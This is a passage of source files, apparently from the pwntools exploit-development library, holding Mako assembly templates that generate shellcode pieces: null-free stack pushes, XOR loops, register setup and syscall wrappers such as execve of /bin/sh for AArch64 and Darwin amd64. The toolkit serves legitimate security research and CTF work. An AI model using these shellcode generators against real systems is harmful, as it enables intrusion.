    "content": "<%\n    from pwnlib import shellcraft\n    from pwnlib.util.packing import flat, unpack\n    from pwnlib.util.iters import group\n%>\n<%page args=\"value, register1='x14', register2='x15'\"/>\n<%docstring>\nPushes a value onto the stack without using null bytes or newline characters.\n\nIf src is a string, then we try to evaluate using :func:`pwnlib.constants.eval`\nbefore determining how to push it.\n\nNote that this means that this shellcode can change behavior depending on\nthe value of `context.os`.\n\nNote:\n    AArch64 requires that the stack remain 16-byte aligned at all times,\n    so this alignment is preserved.\n\nArgs:\n    value(int,str): The value or register to push\n    register1(str): Scratch register to use\n    register2(str): Second scratch register to use\n\nExample:\n\n    >>> print(pwnlib.shellcraft.push(0).rstrip())\n        /* push 0 */\n        mov  x14, xzr\n        str x14, [sp, #-16]!\n    >>> print(pwnlib.shellcraft.push(9).rstrip())\n        /* push 9 */\n        mov  x14, #9\n        str x14, [sp, #-16]!\n    >>> print(pwnlib.shellcraft.push(256).rstrip())\n        /* push 0x100 */\n        mov  x14, #256\n        str x14, [sp, #-16]!\n    >>> print(pwnlib.shellcraft.push('SYS_execve').rstrip())\n        /* push SYS_execve (0xdd) */\n        mov  x14, #221\n        str x14, [sp, #-16]!\n    >>> print(pwnlib.shellcraft.push('SYS_sendfile').rstrip())\n        /* push SYS_sendfile (0x47) */\n        mov  x14, #71\n        str x14, [sp, #-16]!\n    >>> with context.local(os = 'freebsd'):\n    ...     print(pwnlib.shellcraft.push('SYS_execve').rstrip())\n    ...\n        /* push SYS_execve (0x3b) */\n        mov  x14, #59\n        str x14, [sp, #-16]!\n</%docstring>\n<%\nif isinstance(value, str):\n    value = shellcraft.eval(value)\npretty = shellcraft.pretty(value, comment=False)\n%>\n    ${shellcraft.pushstr(flat(value),\n                         append_null = False,\n                         register1 = register1,\n                         register2 = register2,\n                         pretty = pretty)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/pushstr.asm",
    "content": "<% from pwnlib.util import lists, packing, fiddling %>\n<% from pwnlib import shellcraft %>\n<%page args=\"string, append_null = True, register1='x14', register2='x15', pretty=None\"/>\n<%docstring>\nPushes a string onto the stack.\n\nr12 is defined as the inter-procedural scratch register ($ip),\nso this should not interfere with most usage.\n\nArgs:\n    string (str): The string to push.\n    append_null (bool): Whether to append a single NULL-byte before pushing.\n    register (str): Temporary register to use.  By default, R7 is used.\n\nExamples:\n\n    >>> string = \"Hello, world!\"\n    >>> assembly = shellcraft.pushstr(string)\n    >>> assembly += shellcraft.write(1, 'sp', len(string))\n    >>> assembly += shellcraft.exit()\n    >>> ELF.from_assembly(assembly).process().recvall()\n    b'Hello, world!'\n\n    >>> string = \"Hello, world! This is a long string! Wow!\"\n    >>> assembly = shellcraft.pushstr(string)\n    >>> assembly += shellcraft.write(1, 'sp', len(string))\n    >>> assembly += shellcraft.exit()\n    >>> ELF.from_assembly(assembly).process().recvall()\n    b'Hello, world! This is a long string! Wow!'\n</%docstring>\n<%\nif isinstance(string, str):\n    string = string.encode('utf-8')\n\nif append_null and not string.endswith(b'\\x00'):\n    string += b'\\x00'\n\npretty_string = pretty or shellcraft.pretty(string)\nif len(pretty_string) > 1000:\n    pretty_string = pretty_string[:1000] + '...'\n\nwhile len(string) % 8:\n    string += b'\\x00'\n\n# Unpack everything into integers, and group them by twos\n# so we may use STP to store multiple in a single instruction\nwords = packing.unpack_many(string)\npairs = lists.group(2, words)\n\npairs = pairs[::-1]\n\n# The stack must be 16-byte aligned\ntotal = len(pairs) * 16\n\noffset = 0\n%>\\\n    /* push ${pretty_string} */\n%for i,pair in enumerate(pairs):\n    ${shellcraft.mov(register1, pair[0])}\n  %if len(pair) == 1:\n    str ${register1}, [sp, #-16]!\n  %else:\n    ${shellcraft.mov(register2, pair[1])}\n    stp ${register1}, ${register2}, [sp, #-16]!\n  %endif\n%endfor\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/pushstr_array.asm",
    "content": "<%\n    from pwnlib import shellcraft\n    from pwnlib.shellcraft import pretty\n    from pwnlib.util.iters import group\n    from pwnlib.util.packing import _need_bytes\n%>\n<%docstring>\nPushes an array/envp-style array of pointers onto the stack.\n\nArguments:\n    reg(str):\n        Destination register to hold the pointer.\n    array(str,list):\n        Single argument or list of arguments to push.\n        NULL termination is normalized so that each argument\n        ends with exactly one NULL byte.\n\nExample:\n\n    >>> assembly = shellcraft.execve(\"/bin/sh\", [\"sh\", \"-c\", \"echo Hello string $WORLD\"], {\"WORLD\": \"World!\"})\n    >>> ELF.from_assembly(assembly).process().recvall()\n    b'Hello string World!\\n'\n</%docstring>\n<%page args=\"reg, array, register1='x14', register2='x15'\"/>\n<%\nif isinstance(array, (bytes, str)):\n    array = [array]\n\n# Convert all items to strings\narray = [_need_bytes(x, 2, 0x80) for x in array]\n\n# Normalize line endings for each item\narray = [arg.rstrip(b'\\x00') + b'\\x00' for arg in array]\n\n# Join everything in the string-to-be-pushed\nstring = b''.join(array)\n\n# Maximum amount that we can adjust SP by at once is 4095,\n# which seems like a safe maximum.\nif len(array) * 8 > 4095:\n    raise Exception(\"Array size is too large (%i), max=4095\" % len(array))\n\nneed_fix_alligment = len(array) % 2 == 1\n%>\\\n    /* push argument array ${shellcraft.pretty(array, False)} */\n    ${shellcraft.pushstr(string, register1=register1, register2=register2)}\n\n    /* push null terminator */\n    str xzr, [sp, #-16]!\n\n    /* push pointers onto the stack */\n%for i, value in enumerate(reversed(array)):\n   ${shellcraft.mov(register1, (i+2)*8 + string.index(value))}\n   add ${register1}, sp, ${register1}\n %if i % 2 == 0:\n   str xzr, [sp, #-16]!  /* allocate zeros */\n   str ${register1}, [sp, #8]!\n %else:\n   sub sp, sp, #8\n   str ${register1}, [sp, #0]!\n %endif\n%endfor\n\n    /* set ${reg} to the current top of the stack */\n    ${shellcraft.mov(reg,'sp')}\n\n  %if need_fix_alligment:\n    /* fix alligment */\n    sub sp, sp, #8\n  %endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/setregs.asm",
    "content": "<%\n  from pwnlib import shellcraft as SC\n  from pwnlib.regsort import regsort\n%>\n<%page args=\"reg_context, stack_allowed = True\"/>\n<%docstring>\nSets multiple registers, taking any register dependencies into account\n(i.e., given eax=1,ebx=eax, set ebx first).\n\nArgs:\n    reg_context (dict): Desired register context\n    stack_allowed (bool): Can the stack be used?\n\nExample:\n\n    >>> print(shellcraft.setregs({'x0':9, 'x2':'x3'}).rstrip())\n        mov  x0, #9\n        mov  x2, x3\n    >>> print(shellcraft.setregs({'x0':'x1', 'x1':'x0', 'x2':'x3'}).rstrip())\n        mov  x2, x3\n        eor  x0, x0, x1 /* xchg x0, x1 */\n        eor  x1, x0, x1\n        eor  x0, x0, x1\n</%docstring>\n<%\nreg_context = {k:v for k,v in reg_context.items() if v is not None}\nregisters = SC.registers.aarch64\nsorted_regs = regsort(reg_context, registers)\n%>\n% if not sorted_regs:\n  /* setregs noop */\n% else:\n% for how, dst, src in regsort(reg_context, registers):\n% if how == 'xchg':\n    eor  ${dst}, ${dst}, ${src} /* xchg ${dst}, ${src} */\n    eor  ${src}, ${dst}, ${src}\n    eor  ${dst}, ${dst}, ${src}\n% else:\n    ${SC.mov(dst, src)}\n% endif\n% endfor\n% endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/xor.asm",
    "content": "<%\n  from pwnlib.shellcraft import pretty, common, aarch64, registers\n  from pwnlib.shellcraft.registers import aarch64 as regs\n  from pwnlib.util.packing import pack, unpack\n  from pwnlib.context import context as ctx\n  from pwnlib.log import getLogger\n%>\n<%page args=\"key, address, count\"/>\n<%docstring>\nXORs data a constant value.\n\nArgs:\n    key (int,str): XOR key either as a 4-byte integer,\n                   If a string, length must be a power of two,\n                   and not longer than 4 bytes.\n    address (int): Address of the data (e.g. 0xdead0000, 'rsp')\n    count (int): Number of bytes to XOR.\n\nExample:\n\n    >>> sc  = shellcraft.read(0, 'sp', 32)\n    >>> sc += shellcraft.xor(0xdeadbeef, 'sp', 32)\n    >>> sc += shellcraft.write(1, 'sp', 32)\n    >>> io = run_assembly(sc)\n    >>> io.send(cyclic(32))\n    >>> result = io.recvn(32)\n    >>> expected = xor(cyclic(32), p32(0xdeadbeef))\n    >>> result == expected\n    True\n</%docstring>\n<%\nlog = getLogger('pwnlib.shellcraft.templates.aarch64.xor')\n\n# By default, assume the key is a register\nkey_size   = ctx.bytes\nkey_pretty = key\n\nif not key in regs:\n    key_str = key\n    key_int = key\n\n    if isinstance(key, int):\n        key_str = pack(key, bytes=4)\n    else:\n        key_int = unpack(key, 'all')\n\n    if len(key_str) > ctx.bytes:\n        log.error(\"Key %s is too large (max %i bytes)\" % (pretty(key), ctx.bytes))\n\n    if len(key_str) not in (1,2,4):\n        log.error(\"Key length must be a power of two (got %s)\" % pretty(key))\n\n    key_size = len(key_str)\n    key_pretty = pretty(key_int)\n\nif count == 0 or key_size == 0:\n    return '/* noop xor */'\n\nstart = common.label('start')\n\n## Set up the register context\nregctx = {'x1': address, 'x2': key}\n%>\n    /* xor(${pretty(key)}, ${pretty(address)}, ${pretty(count)}) */\n    ${aarch64.setregs(regctx)}\n    add x0, x1, #${count}\n${start}:\n    ldr x3, [x1]\n    eor x3, x3, x2\n    str x3, [x1]\n    add x1, x1, ${key_size}\n    cmp x1, x0\n    blt  ${start}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/__doc__",
    "content": "Shellcraft module containing generic Intel x86_64 shellcodes.\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/crash.asm",
    "content": "<% from pwnlib.shellcraft.amd64 import popad %>\n<%docstring>\nCrash.\n\nExample:\n\n    >>> run_assembly(shellcraft.crash()).poll(True)\n    -11\n</%docstring>\n    /* fill all registers with shit */\n    ${popad()}\n    xor rsp, rsp /* especially esp */\n    jmp rsp    /* boom */\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/darwin/__doc__",
    "content": ""
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/darwin/cat.asm",
    "content": "<%\n  from pwnlib.shellcraft.amd64 import syscall, pushstr\n  from pwnlib.shellcraft import common\n%>\n<%page args=\"filename, fd=1\"/>\n<%docstring>\nOpens a file and writes its contents to the specified file descriptor.\n</%docstring>\n<%\nraise Exception(\"not implemented, please use 'cat2'\")\n%>\n    ${pushstr(filename)}\n    ${syscall('SYS_open', 'rsp', 'O_RDONLY', 'rdx')}\n    /* osx: int sendfile(int fd, int s, off_t offset, off_t *len, struct sf_hdtr *hdtr, int flags); */\n    /* linux: ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count); */\n    ${syscall('SYS_sendfile', fd, 'rax', 0, 0x7fffffff)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/darwin/cat2.asm",
    "content": "<%\n  from pwnlib import shellcraft\n%>\n<%page args=\"filename, fd=1, length=0x4000\"/>\n<%docstring>\nOpens a file and writes its contents to the specified file descriptor.\nUses an extra stack buffer and must know the length.\n</%docstring>\n\n    ${shellcraft.open(filename)}\n    ${shellcraft.mov('rdx', length)}\n    sub rsp, rdx\n    ${shellcraft.read('rax', 'rsp', 'rdx')}\n    ${shellcraft.write(fd, 'rsp', 'rax')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/darwin/open.asm",
    "content": "<%\n  from pwnlib import shellcraft\n%>\n<%page args=\"filename, flags='O_RDONLY', mode='rdx'\"/>\n<%docstring>\nOpens a file\n</%docstring>\n    ${shellcraft.pushstr(filename)}\n    ${shellcraft.syscall('SYS_open', 'rsp', flags, mode)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/darwin/syscall.asm",
    "content": "<%\n  from pwnlib.shellcraft import amd64, pretty\n  from pwnlib.constants import Constant\n  from pwnlib.abi import darwin_amd64_syscall as abi\n%>\n<%page args=\"syscall = None, arg0 = None, arg1 = None, arg2 = None, arg3 = None, arg4 = None, arg5 = None\"/>\n<%docstring>\nArgs: [syscall_number, \\*args]\n    Does a syscall\n\nAny of the arguments can be expressions to be evaluated by :func:`pwnlib.constants.eval`.\n\nExample:\n\n        >>> print(pwnlib.shellcraft.amd64.darwin.syscall('SYS_execve', 1, 'rsp', 2, 0).rstrip())\n            /* call execve(1, 'rsp', 2, 0) */\n            xor r10d, r10d /* 0 */\n            push SYS_execve /* 0x3b */\n            pop rax\n            push 1\n            pop rdi\n            push 2\n            pop rdx\n            mov rsi, rsp\n            syscall\n        >>> print(pwnlib.shellcraft.amd64.darwin.syscall('SYS_execve', 2, 1, 0, -1).rstrip())\n            /* call execve(2, 1, 0, -1) */\n            push -1\n            pop r10\n            push SYS_execve /* 0x3b */\n            pop rax\n            push 2\n            pop rdi\n            push 1\n            pop rsi\n            cdq /* rdx=0 */\n            syscall\n        >>> print(pwnlib.shellcraft.amd64.darwin.syscall().rstrip())\n            /* call syscall() */\n            syscall\n        >>> print(pwnlib.shellcraft.amd64.darwin.syscall('rax', 'rdi', 'rsi').rstrip())\n            /* call syscall('rax', 'rdi', 'rsi') */\n            /* setregs noop */\n            syscall\n        >>> print(pwnlib.shellcraft.amd64.darwin.syscall('rbp', None, None, 1).rstrip())\n            /* call syscall('rbp', ?, ?, 1) */\n            mov rax, rbp\n            push 1\n            pop rdx\n            syscall\n        >>> print(pwnlib.shellcraft.open('/home/pwn/flag').rstrip())\n            /* open(file='/home/pwn/flag', oflag=0, mode=0) */\n            /* push b'/home/pwn/flag\\x00' */\n            mov rax, 0x101010101010101\n            push rax\n            mov rax, 0x101010101010101 ^ 0x67616c662f6e\n            xor [rsp], rax\n            mov rax, 0x77702f656d6f682f\n            push rax\n            mov rdi, rsp\n            xor edx, edx /* 0 */\n            xor esi, esi /* 0 */\n            /* call open() */\n            push SYS_open /* 2 */\n            pop rax\n            syscall\n        >>> print(shellcraft.amd64.write(0, '*/', 2).rstrip())\n            /* write(fd=0, buf='\\x2a/', n=2) */\n            /* push b'\\x2a/\\x00' */\n            push 0x1010101 ^ 0x2f2a\n            xor dword ptr [rsp], 0x1010101\n            mov rsi, rsp\n            xor edi, edi /* 0 */\n            push 2\n            pop rdx\n            /* call write() */\n            push SYS_write /* 1 */\n            pop rax\n            syscall\n\n</%docstring>\n<%\n  append_cdq = False\n  if isinstance(syscall, (str, Constant)) and str(syscall).startswith('SYS_'):\n      syscall_repr = str(syscall)[4:] + \"(%s)\"\n      args = []\n  else:\n      syscall_repr = 'syscall(%s)'\n      if syscall is None:\n          args = ['?']\n      else:\n          args = [pretty(syscall, False)]\n\n  for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:\n      if arg is None:\n          args.append('?')\n      else:\n          args.append(pretty(arg, False))\n  while args and args[-1] == '?':\n      args.pop()\n  syscall_repr = syscall_repr % ', '.join(args)\n\n  registers = abi.register_arguments\n  arguments = [syscall, arg0, arg1, arg2, arg3, arg4, arg5]\n  regctx    = dict(zip(registers, arguments))\n%>\\\n    /* call ${syscall_repr} */\n%if any(a is not None for a in arguments):\n    ${amd64.setregs(regctx)}\n%endif\n    syscall\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/darwin/syscalls/__doc__",
    "content": ""
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/darwin/syscalls/execve.asm",
    "content": "<%\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>execve(path, argv, envp) -> str\n\nInvokes the syscall execve.\n\nSee 'man 2 execve' for more information.\n\nArguments:\n    path(char*): path\n    argv(char**): argv\n    envp(char**): envp\nReturns:\n    int\n</%docstring>\n<%page args=\"path=0, argv=0, envp=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['path']\n    can_pushstr_array = ['argv', 'envp']\n\n    argument_names = ['path', 'argv', 'envp']\n    argument_values = [path, argv, envp]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[index] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[target] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_execve']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % syscalls)\n%>\n    /* execve(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/darwin/syscalls/exit.asm",
    "content": "<%\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>exit(status) -> str\n\nInvokes the syscall exit.\n\nSee 'man 2 exit' for more information.\n\nArguments:\n    status(int): status\nReturns:\n    void\n</%docstring>\n<%page args=\"status=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['status']\n    argument_values = [status]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[index] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[target] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_exit']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % syscalls)\n%>\n    /* exit(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/darwin/syscalls/getdirentries64.asm",
    "content": "<%\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getdirentries64(fd, buf, bufsize, position) -> str\n\nInvokes the syscall getdirentries64.\n\nSee 'man 2 getdirentries64' for more information.\n\nArguments:\n    fd(int): fd\n    buf(char*): buf\n    bufsize(user_size_t): bufsize\n    position(off_t*): position\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fd=0, buf=0, bufsize=0, position=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['buf']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'buf', 'bufsize', 'position']\n    argument_values = [fd, buf, bufsize, position]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[index] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            print('index', index, name)\n            print('regs', regs)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[target] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getdirentries64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % syscalls)\n%>\n    /* getdirentries64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/darwin/syscalls/getxattr.asm",
    "content": "<%\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getxattr(path, name, value, size) -> str\n\nInvokes the syscall getxattr.\n\nSee 'man 2 getxattr' for more information.\n\nArguments:\n    path(char*): path\n    name(char*): name\n    value(void*): value\n    size(size_t): size\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"path=0, name=0, value=0, size=0, position=0, options=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['path', 'name', 'value']\n    can_pushstr_array = []\n\n    argument_names = ['path', 'name', 'value', 'size', 'position', 'options']\n    argument_values = [path, name, value, size, position, options]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[index] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            print('index', index, name)\n            print('regs', regs)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[target] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getxattr']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % syscalls)\n%>\n    /* getxattr(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/darwin/syscalls/lseek.asm",
    "content": "<%\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>lseek(fd, offset, whence) -> str\n\nInvokes the syscall lseek.\n\nSee 'man 2 lseek' for more information.\n\nArguments:\n    fd(int): fd\n    offset(off_t): offset\n    whence(int): whence\nReturns:\n    off_t\n</%docstring>\n<%page args=\"fd=0, offset=0, whence=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'offset', 'whence']\n    argument_values = [fd, offset, whence]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[index] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a 